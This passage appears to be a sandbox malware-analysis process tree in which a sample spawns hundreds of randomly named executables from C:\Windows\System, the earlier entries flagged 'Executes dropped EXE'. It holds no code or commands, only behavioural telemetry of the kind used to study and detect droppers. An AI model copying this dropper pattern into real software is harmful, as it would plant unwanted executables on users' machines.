  PID:588
- C:\Windows\System\DswyuyQ.exe
  C:\Windows\System\DswyuyQ.exe
  2⤵
  - Executes dropped EXE
  PID:572
- C:\Windows\System\soTrpOZ.exe
  C:\Windows\System\soTrpOZ.exe
  2⤵
  - Executes dropped EXE
  PID:1268
- C:\Windows\System\pOyHdhD.exe
  C:\Windows\System\pOyHdhD.exe
  2⤵
  - Executes dropped EXE
  PID:2384
- C:\Windows\System\tCtuWbK.exe
  C:\Windows\System\tCtuWbK.exe
  2⤵
  - Executes dropped EXE
  PID:832
- C:\Windows\System\rrktzCd.exe
  C:\Windows\System\rrktzCd.exe
  2⤵
  - Executes dropped EXE
  PID:1968
- C:\Windows\System\FjiTpDC.exe
  C:\Windows\System\FjiTpDC.exe
  2⤵
  - Executes dropped EXE
  PID:2292
- C:\Windows\System\iLiFkTz.exe
  C:\Windows\System\iLiFkTz.exe
  2⤵
  - Executes dropped EXE
  PID:2276
- C:\Windows\System\hIZHyAO.exe
  C:\Windows\System\hIZHyAO.exe
  2⤵
  - Executes dropped EXE
  PID:1352
- C:\Windows\System\rfqOTtR.exe
  C:\Windows\System\rfqOTtR.exe
  2⤵
  - Executes dropped EXE
  PID:1536
- C:\Windows\System\lakfVgI.exe
  C:\Windows\System\lakfVgI.exe
  2⤵
  - Executes dropped EXE
  PID:1616
- C:\Windows\System\ujilTat.exe
  C:\Windows\System\ujilTat.exe
  2⤵
  - Executes dropped EXE
  PID:1292
- C:\Windows\System\iCEsLPm.exe
  C:\Windows\System\iCEsLPm.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Windows\System\ynopUHa.exe
  C:\Windows\System\ynopUHa.exe
  2⤵
  - Executes dropped EXE
  PID:1812
- C:\Windows\System\rCtIIOr.exe
  C:\Windows\System\rCtIIOr.exe
  2⤵
  - Executes dropped EXE
  PID:864
- C:\Windows\System\bqIrtXd.exe
  C:\Windows\System\bqIrtXd.exe
  2⤵
  - Executes dropped EXE
  PID:1856
- C:\Windows\System\TjtREGi.exe
  C:\Windows\System\TjtREGi.exe
  2⤵
  - Executes dropped EXE
  PID:1664
- C:\Windows\System\OIgTeJd.exe
  C:\Windows\System\OIgTeJd.exe
  2⤵
  - Executes dropped EXE
  PID:380
- C:\Windows\System\fAhNdmr.exe
  C:\Windows\System\fAhNdmr.exe
  2⤵
  - Executes dropped EXE
  PID:2072
- C:\Windows\System\HnTjEtv.exe
  C:\Windows\System\HnTjEtv.exe
  2⤵
  - Executes dropped EXE
  PID:1372
- C:\Windows\System\gEpwgaN.exe
  C:\Windows\System\gEpwgaN.exe
  2⤵
  - Executes dropped EXE
  PID:780
- C:\Windows\System\iBbKDBm.exe
  C:\Windows\System\iBbKDBm.exe
  2⤵
  - Executes dropped EXE
  PID:2440
- C:\Windows\System\KFUSLIo.exe
  C:\Windows\System\KFUSLIo.exe
  2⤵
  - Executes dropped EXE
  PID:1508
- C:\Windows\System\NFBYAzR.exe
  C:\Windows\System\NFBYAzR.exe
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\Windows\System\gwDbtzE.exe
  C:\Windows\System\gwDbtzE.exe
  2⤵
  - Executes dropped EXE
  PID:1656
- C:\Windows\System\cthYHTI.exe
  C:\Windows\System\cthYHTI.exe
  2⤵
  - Executes dropped EXE
  PID:1600
- C:\Windows\System\UmvtvhU.exe
  C:\Windows\System\UmvtvhU.exe
  2⤵
  - Executes dropped EXE
  PID:1708
- C:\Windows\System\nRxQwmA.exe
  C:\Windows\System\nRxQwmA.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\qaNQayF.exe
  C:\Windows\System\qaNQayF.exe
  2⤵
  - Executes dropped EXE
  PID:660
- C:\Windows\System\rdiglCe.exe
  C:\Windows\System\rdiglCe.exe
  2⤵
  - Executes dropped EXE
  PID:2644
- C:\Windows\System\EKaOLmH.exe
  C:\Windows\System\EKaOLmH.exe
  2⤵
  - Executes dropped EXE
  PID:2204
- C:\Windows\System\sLmLFsy.exe
  C:\Windows\System\sLmLFsy.exe
  2⤵
  - Executes dropped EXE
  PID:2256
- C:\Windows\System\GKVfzDR.exe
  C:\Windows\System\GKVfzDR.exe
  2⤵
  - Executes dropped EXE
  PID:2912
- C:\Windows\System\FQYrfOz.exe
  C:\Windows\System\FQYrfOz.exe
  2⤵
  - Executes dropped EXE
  PID:2624
- C:\Windows\System\edmJoPM.exe
  C:\Windows\System\edmJoPM.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\xdkQbhV.exe
  C:\Windows\System\xdkQbhV.exe
  2⤵
  - Executes dropped EXE
  PID:2540
- C:\Windows\System\oDTyIwA.exe
  C:\Windows\System\oDTyIwA.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\ptJIXFY.exe
  C:\Windows\System\ptJIXFY.exe
  2⤵
  - Executes dropped EXE
  PID:1636
- C:\Windows\System\IkNtvFi.exe
  C:\Windows\System\IkNtvFi.exe
  2⤵
  PID:3064
- C:\Windows\System\JHxDIky.exe
  C:\Windows\System\JHxDIky.exe
  2⤵
  PID:744
- C:\Windows\System\CNHjNyv.exe
  C:\Windows\System\CNHjNyv.exe
  2⤵
  PID:1760
- C:\Windows\System\saAyVVp.exe
  C:\Windows\System\saAyVVp.exe
  2⤵
  PID:628
- C:\Windows\System\gCDgtRZ.exe
  C:\Windows\System\gCDgtRZ.exe
  2⤵
  PID:1936
- C:\Windows\System\bxVqxOv.exe
  C:\Windows\System\bxVqxOv.exe
  2⤵
  PID:840
- C:\Windows\System\OMHihJy.exe
  C:\Windows\System\OMHihJy.exe
  2⤵
  PID:1096
- C:\Windows\System\tcjnyXV.exe
  C:\Windows\System\tcjnyXV.exe
  2⤵
  PID:1880
- C:\Windows\System\AxmfOWP.exe
  C:\Windows\System\AxmfOWP.exe
  2⤵
  PID:1788
- C:\Windows\System\LUXQLtf.exe
  C:\Windows\System\LUXQLtf.exe
  2⤵
  PID:908
- C:\Windows\System\NIqXNXc.exe
  C:\Windows\System\NIqXNXc.exe
  2⤵
  PID:984
- C:\Windows\System\qESgSdJ.exe
  C:\Windows\System\qESgSdJ.exe
  2⤵
  PID:1048
- C:\Windows\System\ULcOgYW.exe
  C:\Windows\System\ULcOgYW.exe
  2⤵
  PID:1248
- C:\Windows\System\KpLGCZe.exe
  C:\Windows\System\KpLGCZe.exe
  2⤵
  PID:308
- C:\Windows\System\WcBULKR.exe
  C:\Windows\System\WcBULKR.exe
  2⤵
  PID:1692
- C:\Windows\System\bMbbEJC.exe
  C:\Windows\System\bMbbEJC.exe
  2⤵
  PID:2076
- C:\Windows\System\DPVFEgp.exe
  C:\Windows\System\DPVFEgp.exe
  2⤵
  PID:2320
- C:\Windows\System\zPNHsSx.exe
  C:\Windows\System\zPNHsSx.exe
  2⤵
  PID:2056
- C:\Windows\System\tpPQdEz.exe
  C:\Windows\System\tpPQdEz.exe
  2⤵
  PID:888
- C:\Windows\System\kkSPNOb.exe
  C:\Windows\System\kkSPNOb.exe
  2⤵
  PID:2984
- C:\Windows\System\KWnbUqK.exe
  C:\Windows\System\KWnbUqK.exe
  2⤵
  PID:1604
- C:\Windows\System\uBeLlgQ.exe
  C:\Windows\System\uBeLlgQ.exe
  2⤵
  PID:2428
- C:\Windows\System\REDWDxj.exe
  C:\Windows\System\REDWDxj.exe
  2⤵
  PID:2524
- C:\Windows\System\ZVvSItF.exe
  C:\Windows\System\ZVvSItF.exe
  2⤵
  PID:2596
- C:\Windows\System\mwrfbFA.exe
  C:\Windows\System\mwrfbFA.exe
  2⤵
  PID:2856
- C:\Windows\System\xgZMJhT.exe
  C:\Windows\System\xgZMJhT.exe
  2⤵
  PID:3032
- C:\Windows\System\SjqtciW.exe
  C:\Windows\System\SjqtciW.exe
  2⤵
  PID:1520
- C:\Windows\System\dyKGkNX.exe
  C:\Windows\System\dyKGkNX.exe
  2⤵
  PID:1896
- C:\Windows\System\uzKzvDD.exe
  C:\Windows\System\uzKzvDD.exe
  2⤵
  PID:2248
- C:\Windows\System\GPSvhit.exe
  C:\Windows\System\GPSvhit.exe
  2⤵
  PID:444
- C:\Windows\System\cmpXOje.exe
  C:\Windows\System\cmpXOje.exe
  2⤵
  PID:1280
- C:\Windows\System\dbGTcxF.exe
  C:\Windows\System\dbGTcxF.exe
  2⤵
  PID:3084
- C:\Windows\System\ENRTPkG.exe
  C:\Windows\System\ENRTPkG.exe
  2⤵
  PID:3100
- C:\Windows\System\IYzqCSs.exe
  C:\Windows\System\IYzqCSs.exe
  2⤵
  PID:3120
- C:\Windows\System\OQYciqG.exe
  C:\Windows\System\OQYciqG.exe
  2⤵
  PID:3160
- C:\Windows\System\WbHiDea.exe
  C:\Windows\System\WbHiDea.exe
  2⤵
  PID:3176
- C:\Windows\System\VnBYibs.exe
  C:\Windows\System\VnBYibs.exe
  2⤵
  PID:3200
- C:\Windows\System\dIWfuLV.exe
  C:\Windows\System\dIWfuLV.exe
  2⤵
  PID:3220
- C:\Windows\System\uGLDhYV.exe
  C:\Windows\System\uGLDhYV.exe
  2⤵
  PID:3240
- C:\Windows\System\KdpkYIo.exe
  C:\Windows\System\KdpkYIo.exe
  2⤵
  PID:3256
- C:\Windows\System\rlEvcBI.exe
  C:\Windows\System\rlEvcBI.exe
  2⤵
  PID:3276
- C:\Windows\System\DVPqHdP.exe
  C:\Windows\System\DVPqHdP.exe
  2⤵
  PID:3292
- C:\Windows\System\hXCKfsD.exe
  C:\Windows\System\hXCKfsD.exe
  2⤵
  PID:3308
- C:\Windows\System\uDTscKs.exe
  C:\Windows\System\uDTscKs.exe
  2⤵
  PID:3328
- C:\Windows\System\oMrYoUD.exe
  C:\Windows\System\oMrYoUD.exe
  2⤵
  PID:3352
- C:\Windows\System\ypRTwgM.exe
  C:\Windows\System\ypRTwgM.exe
  2⤵
  PID:3372
- C:\Windows\System\oTBtqmM.exe
  C:\Windows\System\oTBtqmM.exe
  2⤵
  PID:3388
- C:\Windows\System\tFkGkoi.exe
  C:\Windows\System\tFkGkoi.exe
  2⤵
  PID:3404
- C:\Windows\System\zoibOzc.exe
  C:\Windows\System\zoibOzc.exe
  2⤵
  PID:3424
- C:\Windows\System\bMvAlap.exe
  C:\Windows\System\bMvAlap.exe
  2⤵
  PID:3440
- C:\Windows\System\AZBEuNt.exe
  C:\Windows\System\AZBEuNt.exe
  2⤵
  PID:3460
- C:\Windows\System\AJyblEs.exe
  C:\Windows\System\AJyblEs.exe
  2⤵
  PID:3476
- C:\Windows\System\ogorPNO.exe
  C:\Windows\System\ogorPNO.exe
  2⤵
  PID:3520
- C:\Windows\System\IIPzLmF.exe
  C:\Windows\System\IIPzLmF.exe
  2⤵
  PID:3536
- C:\Windows\System\lpceBWW.exe
  C:\Windows\System\lpceBWW.exe
  2⤵
  PID:3560
- C:\Windows\System\bmfdMaf.exe
  C:\Windows\System\bmfdMaf.exe
  2⤵
  PID:3580
- C:\Windows\System\rhgzZIn.exe
  C:\Windows\System\rhgzZIn.exe
  2⤵
  PID:3600
- C:\Windows\System\VVDNLSg.exe
  C:\Windows\System\VVDNLSg.exe
  2⤵
  PID:3620
- C:\Windows\System\iasuXwe.exe
  C:\Windows\System\iasuXwe.exe
  2⤵
  PID:3640
- C:\Windows\System\kWSeOGH.exe
  C:\Windows\System\kWSeOGH.exe
  2⤵
  PID:3660
- C:\Windows\System\MLtKqrj.exe
  C:\Windows\System\MLtKqrj.exe
  2⤵
  PID:3680
- C:\Windows\System\nWxStTX.exe
  C:\Windows\System\nWxStTX.exe
  2⤵
  PID:3700
- C:\Windows\System\qRGInbk.exe
  C:\Windows\System\qRGInbk.exe
  2⤵
  PID:3720
- C:\Windows\System\AuJZWpX.exe
  C:\Windows\System\AuJZWpX.exe
  2⤵
  PID:3740
- C:\Windows\System\xTbNggx.exe
  C:\Windows\System\xTbNggx.exe
  2⤵
  PID:3756
- C:\Windows\System\GPmKCfr.exe
  C:\Windows\System\GPmKCfr.exe
  2⤵
  PID:3772
- C:\Windows\System\qVpWlQL.exe
  C:\Windows\System\qVpWlQL.exe
  2⤵
  PID:3788
- C:\Windows\System\ZYfWcZi.exe
  C:\Windows\System\ZYfWcZi.exe
  2⤵
  PID:3808
- C:\Windows\System\JsbcsOw.exe
  C:\Windows\System\JsbcsOw.exe
  2⤵
  PID:3832
- C:\Windows\System\oskoDKu.exe
  C:\Windows\System\oskoDKu.exe
  2⤵
  PID:3852
- C:\Windows\System\PwjIwSH.exe
  C:\Windows\System\PwjIwSH.exe
  2⤵
  PID:3868
- C:\Windows\System\kyAcWgT.exe
  C:\Windows\System\kyAcWgT.exe
  2⤵
  PID:3888
- C:\Windows\System\rsBkntu.exe
  C:\Windows\System\rsBkntu.exe
  2⤵
  PID:3908
- C:\Windows\System\nMcTaRn.exe
  C:\Windows\System\nMcTaRn.exe
  2⤵
  PID:3924
- C:\Windows\System\YpArKmX.exe
  C:\Windows\System\YpArKmX.exe
  2⤵
  PID:3940
- C:\Windows\System\mStDZeN.exe
  C:\Windows\System\mStDZeN.exe
  2⤵
  PID:3960
- C:\Windows\System\wNqGvim.exe
  C:\Windows\System\wNqGvim.exe
  2⤵
  PID:3984
- C:\Windows\System\sTdRiYk.exe
  C:\Windows\System\sTdRiYk.exe
  2⤵
  PID:4000
- C:\Windows\System\oCwBAGw.exe
  C:\Windows\System\oCwBAGw.exe
  2⤵
  PID:4040
- C:\Windows\System\TRlbrhB.exe
  C:\Windows\System\TRlbrhB.exe
  2⤵
  PID:4056
- C:\Windows\System\qoySNuV.exe
  C:\Windows\System\qoySNuV.exe
  2⤵
  PID:4076
- C:\Windows\System\olXQNNl.exe
  C:\Windows\System\olXQNNl.exe
  2⤵
  PID:4092
- C:\Windows\System\PVsbbzo.exe
  C:\Windows\System\PVsbbzo.exe
  2⤵
  PID:688
- C:\Windows\System\mZOWDyT.exe
  C:\Windows\System\mZOWDyT.exe
  2⤵
  PID:1328
- C:\Windows\System\HpuoxQn.exe
  C:\Windows\System\HpuoxQn.exe
  2⤵
  PID:1556
- C:\Windows\System\dKDiPPY.exe
  C:\Windows\System\dKDiPPY.exe
  2⤵
  PID:2496
- C:\Windows\System\YTHysRG.exe
  C:\Windows\System\YTHysRG.exe
  2⤵
  PID:1356
- C:\Windows\System\NMnFbFr.exe
  C:\Windows\System\NMnFbFr.exe
  2⤵
  PID:1892
- C:\Windows\System\YuSSubM.exe
  C:\Windows\System\YuSSubM.exe
  2⤵
  PID:2408
- C:\Windows\System\jjEalUv.exe
  C:\Windows\System\jjEalUv.exe
  2⤵
  PID:928
- C:\Windows\System\jbKYdht.exe
  C:\Windows\System\jbKYdht.exe
  2⤵
  PID:2404
- C:\Windows\System\grQjkBN.exe
  C:\Windows\System\grQjkBN.exe
  2⤵
  PID:340
- C:\Windows\System\TztVxbr.exe
  C:\Windows\System\TztVxbr.exe
  2⤵
  PID:316
- C:\Windows\System\AEggPgJ.exe
  C:\Windows\System\AEggPgJ.exe
  2⤵
  PID:1640
- C:\Windows\System\MVfSHZi.exe
  C:\Windows\System\MVfSHZi.exe
  2⤵
  PID:3108
- C:\Windows\System\xdgUNzy.exe
  C:\Windows\System\xdgUNzy.exe
  2⤵
  PID:2732
- C:\Windows\System\nSSDsKA.exe
  C:\Windows\System\nSSDsKA.exe
  2⤵
  PID:2600
- C:\Windows\System\buwPUyh.exe
  C:\Windows\System\buwPUyh.exe
  2⤵
  PID:2756
- C:\Windows\System\BqWAOzn.exe
  C:\Windows\System\BqWAOzn.exe
  2⤵
  PID:3212
- C:\Windows\System\RexHhpi.exe
  C:\Windows\System\RexHhpi.exe
  2⤵
  PID:1284
- C:\Windows\System\wBSMjZd.exe
  C:\Windows\System\wBSMjZd.exe
  2⤵
  PID:3252
- C:\Windows\System\gRjZDuE.exe
  C:\Windows\System\gRjZDuE.exe
  2⤵
  PID:2888
- C:\Windows\System\vSYUKGr.exe
  C:\Windows\System\vSYUKGr.exe
  2⤵
  PID:3148
- C:\Windows\System\wNUXVwr.exe
  C:\Windows\System\wNUXVwr.exe
  2⤵
  PID:3156
- C:\Windows\System\CwsOuVB.exe
  C:\Windows\System\CwsOuVB.exe
  2⤵
  PID:3188
- C:\Windows\System\MtukUzW.exe
  C:\Windows\System\MtukUzW.exe
  2⤵
  PID:3364
- C:\Windows\System\BIJdSZR.exe
  C:\Windows\System\BIJdSZR.exe
  2⤵
  PID:3264
- C:\Windows\System\aKXxocS.exe
  C:\Windows\System\aKXxocS.exe
  2⤵
  PID:3400
- C:\Windows\System\XBxyrto.exe
  C:\Windows\System\XBxyrto.exe
  2⤵
  PID:3472
- C:\Windows\System\xOkvCTx.exe
  C:\Windows\System\xOkvCTx.exe
  2⤵
  PID:3420
- C:\Windows\System\rDfjfgO.exe
  C:\Windows\System\rDfjfgO.exe
  2⤵
  PID:3548
- C:\Windows\System\yXbiSeQ.exe
  C:\Windows\System\yXbiSeQ.exe
  2⤵
  PID:3556
- C:\Windows\System\UXhEHoP.exe
  C:\Windows\System\UXhEHoP.exe
  2⤵
  PID:3616
- C:\Windows\System\DpUiqou.exe
  C:\Windows\System\DpUiqou.exe
  2⤵
  PID:3656
- C:\Windows\System\pwycDgP.exe
  C:\Windows\System\pwycDgP.exe
  2⤵
  PID:3728
- C:\Windows\System\XckLyPj.exe
  C:\Windows\System\XckLyPj.exe
  2⤵
  PID:3796
- C:\Windows\System\qcZjaiC.exe
  C:\Windows\System\qcZjaiC.exe
  2⤵
  PID:3848
- C:\Windows\System\tnmaArR.exe
  C:\Windows\System\tnmaArR.exe
  2⤵
  PID:3916
- C:\Windows\System\tEIYfzm.exe
  C:\Windows\System\tEIYfzm.exe
  2⤵
  PID:3992
- C:\Windows\System\CIgtoBx.exe
  C:\Windows\System\CIgtoBx.exe
  2⤵
  PID:4084
- C:\Windows\System\qrDFBLt.exe
  C:\Windows\System\qrDFBLt.exe
  2⤵
  PID:1988
- C:\Windows\System\cNTecHg.exe
  C:\Windows\System\cNTecHg.exe
  2⤵
  PID:1888
- C:\Windows\System\EXJfSNM.exe
  C:\Windows\System\EXJfSNM.exe
  2⤵
  PID:1264
- C:\Windows\System\iTBlLDH.exe
  C:\Windows\System\iTBlLDH.exe
  2⤵
  PID:3712
- C:\Windows\System\gijKwjD.exe
  C:\Windows\System\gijKwjD.exe
  2⤵
  PID:2052
- C:\Windows\System\dWbYAWR.exe
  C:\Windows\System\dWbYAWR.exe
  2⤵
  PID:2932
- C:\Windows\System\jfizDMb.exe
  C:\Windows\System\jfizDMb.exe
  2⤵
  PID:3820
- C:\Windows\System\tBttKJb.exe
  C:\Windows\System\tBttKJb.exe
  2⤵
  PID:1624
- C:\Windows\System\OWvxDVn.exe
  C:\Windows\System\OWvxDVn.exe
  2⤵
  PID:3048
- C:\Windows\System\ggSEAGC.exe
  C:\Windows\System\ggSEAGC.exe
  2⤵
  PID:3268
- C:\Windows\System\rGPfSth.exe
  C:\Windows\System\rGPfSth.exe
  2⤵
  PID:3344
- C:\Windows\System\TtTbqGB.exe
  C:\Windows\System\TtTbqGB.exe
  2⤵
  PID:3416
- C:\Windows\System\VbZjIqU.exe
  C:\Windows\System\VbZjIqU.exe
  2⤵
  PID:3896
- C:\Windows\System\JSLaKzl.exe
  C:\Windows\System\JSLaKzl.exe
  2⤵
  PID:4032
- C:\Windows\System\sgRWhJT.exe
  C:\Windows\System\sgRWhJT.exe
  2⤵
  PID:4064
- C:\Windows\System\psvIPcK.exe
  C:\Windows\System\psvIPcK.exe
  2⤵
  PID:2704
- C:\Windows\System\zbtVyKs.exe
  C:\Windows\System\zbtVyKs.exe
  2⤵
  PID:1940
- C:\Windows\System\GFUYNgZ.exe
  C:\Windows\System\GFUYNgZ.exe
  2⤵
  PID:2456
- C:\Windows\System\RsOWDkP.exe
  C:\Windows\System\RsOWDkP.exe
  2⤵
  PID:2544
- C:\Windows\System\NNCaKVt.exe
  C:\Windows\System\NNCaKVt.exe
  2⤵
  PID:1504
- C:\Windows\System\OlzWyeM.exe
  C:\Windows\System\OlzWyeM.exe
  2⤵
  PID:2880
- C:\Windows\System\PYRfRRu.exe
  C:\Windows\System\PYRfRRu.exe
  2⤵
  PID:3208
- C:\Windows\System\mDBHnmy.exe
  C:\Windows\System\mDBHnmy.exe
  2⤵
  PID:3324
- C:\Windows\System\WjKKPhN.exe
  C:\Windows\System\WjKKPhN.exe
  2⤵
  PID:3436
- C:\Windows\System\ZhLoJdk.exe
  C:\Windows\System\ZhLoJdk.exe
  2⤵
  PID:3484
- C:\Windows\System\YFcDfTW.exe
  C:\Windows\System\YFcDfTW.exe
  2⤵
  PID:3492
- C:\Windows\System\UGNooUv.exe
  C:\Windows\System\UGNooUv.exe
  2⤵
  PID:3508
- C:\Windows\System\jOSGbbN.exe
  C:\Windows\System\jOSGbbN.exe
  2⤵
  PID:3648
- C:\Windows\System\CuBcmqV.exe
  C:\Windows\System\CuBcmqV.exe
  2⤵
  PID:3348
- C:\Windows\System\kXJFjvv.exe
  C:\Windows\System\kXJFjvv.exe
  2⤵
  PID:3768
- C:\Windows\System\wScbHoj.exe
  C:\Windows\System\wScbHoj.exe
  2⤵
  PID:4052
- C:\Windows\System\OJwCvQN.exe
  C:\Windows\System\OJwCvQN.exe
  2⤵
  PID:3588
- C:\Windows\System\nvJqOII.exe
  C:\Windows\System\nvJqOII.exe
  2⤵
  PID:3688
- C:\Windows\System\HTNyYvV.exe
  C:\Windows\System\HTNyYvV.exe
  2⤵
  PID:2728
- C:\Windows\System\WhtxGQG.exe
  C:\Windows\System\WhtxGQG.exe
  2⤵
  PID:2140
- C:\Windows\System\XcURHjG.exe
  C:\Windows\System\XcURHjG.exe
  2⤵
  PID:3196
- C:\Windows\System\uBPhzPw.exe
  C:\Windows\System\uBPhzPw.exe
  2⤵
  PID:3948
- C:\Windows\System\WELhgcB.exe
  C:\Windows\System\WELhgcB.exe
  2⤵
  PID:1180
- C:\Windows\System\kxFtDws.exe
  C:\Windows\System\kxFtDws.exe
  2⤵
  PID:3780
- C:\Windows\System\vtAzzct.exe
  C:\Windows\System\vtAzzct.exe
  2⤵
  PID:3932
- C:\Windows\System\yTUjamq.exe
  C:\Windows\System\yTUjamq.exe
  2⤵
  PID:3976
- C:\Windows\System\RKTmOdQ.exe
  C:\Windows\System\RKTmOdQ.exe
  2⤵
  PID:1780
- C:\Windows\System\KarTzQx.exe
  C:\Windows\System\KarTzQx.exe
  2⤵
  PID:4020
- C:\Windows\System\dpMgOVN.exe
  C:\Windows\System\dpMgOVN.exe
  2⤵
  PID:1596
- C:\Windows\System\dFaiZLX.exe
  C:\Windows\System\dFaiZLX.exe
  2⤵
  PID:2360
- C:\Windows\System\zdNIemq.exe
  C:\Windows\System\zdNIemq.exe
  2⤵
  PID:3232
- C:\Windows\System\siKcoxV.exe
  C:\Windows\System\siKcoxV.exe
  2⤵
  PID:3764
- C:\Windows\System\MXbAhUW.exe
  C:\Windows\System\MXbAhUW.exe
  2⤵
  PID:3696
- C:\Windows\System\KbAyiSt.exe
  C:\Windows\System\KbAyiSt.exe
  2⤵
  PID:880
- C:\Windows\System\IjvxtYa.exe
  C:\Windows\System\IjvxtYa.exe
  2⤵
  PID:4008
- C:\Windows\System\AHYmhJg.exe
  C:\Windows\System\AHYmhJg.exe
  2⤵
  PID:2064
- C:\Windows\System\pYxLCDa.exe
  C:\Windows\System\pYxLCDa.exe
  2⤵
  PID:4112
- C:\Windows\System\tjhWWee.exe
  C:\Windows\System\tjhWWee.exe
  2⤵
  PID:4128
- C:\Windows\System\HIMFqBM.exe
  C:\Windows\System\HIMFqBM.exe
  2⤵
  PID:4144
- C:\Windows\System\bqeBdog.exe
  C:\Windows\System\bqeBdog.exe
  2⤵
  PID:4172
- C:\Windows\System\WKxAnLG.exe
  C:\Windows\System\WKxAnLG.exe
  2⤵
  PID:4188
- C:\Windows\System\xmNiNyC.exe
  C:\Windows\System\xmNiNyC.exe
  2⤵
  PID:4204
- C:\Windows\System\tYpzreY.exe
  C:\Windows\System\tYpzreY.exe
  2⤵
  PID:4220
- C:\Windows\System\sQGyJNH.exe
  C:\Windows\System\sQGyJNH.exe
  2⤵
  PID:4240
- C:\Windows\System\zzXfJXF.exe
  C:\Windows\System\zzXfJXF.exe
  2⤵
  PID:4256
- C:\Windows\System\PuBemya.exe
  C:\Windows\System\PuBemya.exe
  2⤵
  PID:4276
- C:\Windows\System\axXywmo.exe
  C:\Windows\System\axXywmo.exe
  2⤵
  PID:4292
- C:\Windows\System\VKVnraR.exe
  C:\Windows\System\VKVnraR.exe
  2⤵
  PID:4312
- C:\Windows\System\eYPYHMM.exe
  C:\Windows\System\eYPYHMM.exe
  2⤵
  PID:4328
- C:\Windows\System\NUfbTUy.exe
  C:\Windows\System\NUfbTUy.exe
  2⤵
  PID:4348
- C:\Windows\System\VyLxhYs.exe
  C:\Windows\System\VyLxhYs.exe
  2⤵
  PID:4364
- C:\Windows\System\MFusJSH.exe
  C:\Windows\System\MFusJSH.exe
  2⤵
  PID:4384
- C:\Windows\System\pcqBraK.exe
  C:\Windows\System\pcqBraK.exe
  2⤵
  PID:4400
- C:\Windows\System\OvdICfF.exe
  C:\Windows\System\OvdICfF.exe
  2⤵
  PID:4420
- C:\Windows\System\vGzEara.exe
  C:\Windows\System\vGzEara.exe
  2⤵
  PID:4436
- C:\Windows\System\ZsreiiJ.exe
  C:\Windows\System\ZsreiiJ.exe
  2⤵
  PID:4456
- C:\Windows\System\YRHwRtc.exe
  C:\Windows\System\YRHwRtc.exe
  2⤵
  PID:4472
- C:\Windows\System\HRDCsvU.exe
  C:\Windows\System\HRDCsvU.exe
  2⤵
  PID:4492
- C:\Windows\System\NTFAqxx.exe
  C:\Windows\System\NTFAqxx.exe
  2⤵
  PID:4508
- C:\Windows\System\XQwHSVT.exe
  C:\Windows\System\XQwHSVT.exe
  2⤵
  PID:4528
- C:\Windows\System\oaZktNI.exe
  C:\Windows\System\oaZktNI.exe
  2⤵
  PID:4544
- C:\Windows\System\PILZzCI.exe
  C:\Windows\System\PILZzCI.exe
  2⤵
  PID:4564
- C:\Windows\System\OdItZHb.exe
  C:\Windows\System\OdItZHb.exe
  2⤵
  PID:4596
- C:\Windows\System\BHTNRaJ.exe
  C:\Windows\System\BHTNRaJ.exe
  2⤵
  PID:4624
- C:\Windows\System\YhZuzQb.exe
  C:\Windows\System\YhZuzQb.exe
  2⤵
  PID:4644
- C:\Windows\System\rxSkbpK.exe
  C:\Windows\System\rxSkbpK.exe
  2⤵
  PID:4664
- C:\Windows\System\nLfwBDP.exe
  C:\Windows\System\nLfwBDP.exe
  2⤵
  PID:4692
- C:\Windows\System\VUarBXN.exe
  C:\Windows\System\VUarBXN.exe
  2⤵
  PID:4716
- C:\Windows\System\RjACdRf.exe
  C:\Windows\System\RjACdRf.exe
  2⤵
  PID:4736
- C:\Windows\System\fHnXRLf.exe
  C:\Windows\System\fHnXRLf.exe
  2⤵
  PID:4756
- C:\Windows\System\GpRLifj.exe
  C:\Windows\System\GpRLifj.exe
  2⤵
  PID:4784
- C:\Windows\System\fQGxQxv.exe
  C:\Windows\System\fQGxQxv.exe
  2⤵
  PID:4824
- C:\Windows\System\GnGXqIb.exe
  C:\Windows\System\GnGXqIb.exe
  2⤵
  PID:4860
- C:\Windows\System\gaOyrqd.exe
  C:\Windows\System\gaOyrqd.exe
  2⤵
  PID:4916
- C:\Windows\System\BqUtggV.exe
  C:\Windows\System\BqUtggV.exe
  2⤵
  PID:4932
- C:\Windows\System\GNFDaCf.exe
  C:\Windows\System\GNFDaCf.exe
  2⤵
  PID:4952
- C:\Windows\System\hjomZHX.exe
  C:\Windows\System\hjomZHX.exe
  2⤵
  PID:4972
- C:\Windows\System\AEaakkY.exe
  C:\Windows\System\AEaakkY.exe
  2⤵
  PID:4996
- C:\Windows\System\jfcSapy.exe
  C:\Windows\System\jfcSapy.exe
  2⤵
  PID:5040
- C:\Windows\System\cEhYXwc.exe
  C:\Windows\System\cEhYXwc.exe
  2⤵
  PID:5072
- C:\Windows\System\WUzWqmV.exe
  C:\Windows\System\WUzWqmV.exe
  2⤵
  PID:1232
- C:\Windows\System\uBSrVBT.exe
  C:\Windows\System\uBSrVBT.exe
  2⤵
  PID:2560
- C:\Windows\System\udSMoSQ.exe
  C:\Windows\System\udSMoSQ.exe
  2⤵
  PID:2036
- C:\Windows\System\bUMlHSc.exe
  C:\Windows\System\bUMlHSc.exe
  2⤵
  PID:4212
- C:\Windows\System\iZFvrDy.exe
  C:\Windows\System\iZFvrDy.exe
  2⤵
  PID:4252
- C:\Windows\System\PZQpFzu.exe
  C:\Windows\System\PZQpFzu.exe
  2⤵
  PID:1548
- C:\Windows\System\QgnqOWj.exe
  C:\Windows\System\QgnqOWj.exe
  2⤵
  PID:4360
- C:\Windows\System\ogRAVlO.exe
  C:\Windows\System\ogRAVlO.exe
  2⤵
  PID:1792
- C:\Windows\System\bSgRoqw.exe
  C:\Windows\System\bSgRoqw.exe
  2⤵
  PID:4432
- C:\Windows\System\BEzRmHW.exe
  C:\Windows\System\BEzRmHW.exe
  2⤵
  PID:1736
- C:\Windows\System\VAisBzA.exe
  C:\Windows\System\VAisBzA.exe
  2⤵
  PID:1700
- C:\Windows\System\xIsowts.exe
  C:\Windows\System\xIsowts.exe
  2⤵
  PID:1376
- C:\Windows\System\sjTtQKX.exe
  C:\Windows\System\sjTtQKX.exe
  2⤵
  PID:4504
- C:\Windows\System\YLGfmBX.exe
  C:\Windows\System\YLGfmBX.exe
  2⤵
  PID:2040
- C:\Windows\System\yNRXLYz.exe
  C:\Windows\System\yNRXLYz.exe
  2⤵
  PID:4540
- C:\Windows\System\ZFxacDN.exe
  C:\Windows\System\ZFxacDN.exe
  2⤵
  PID:3500
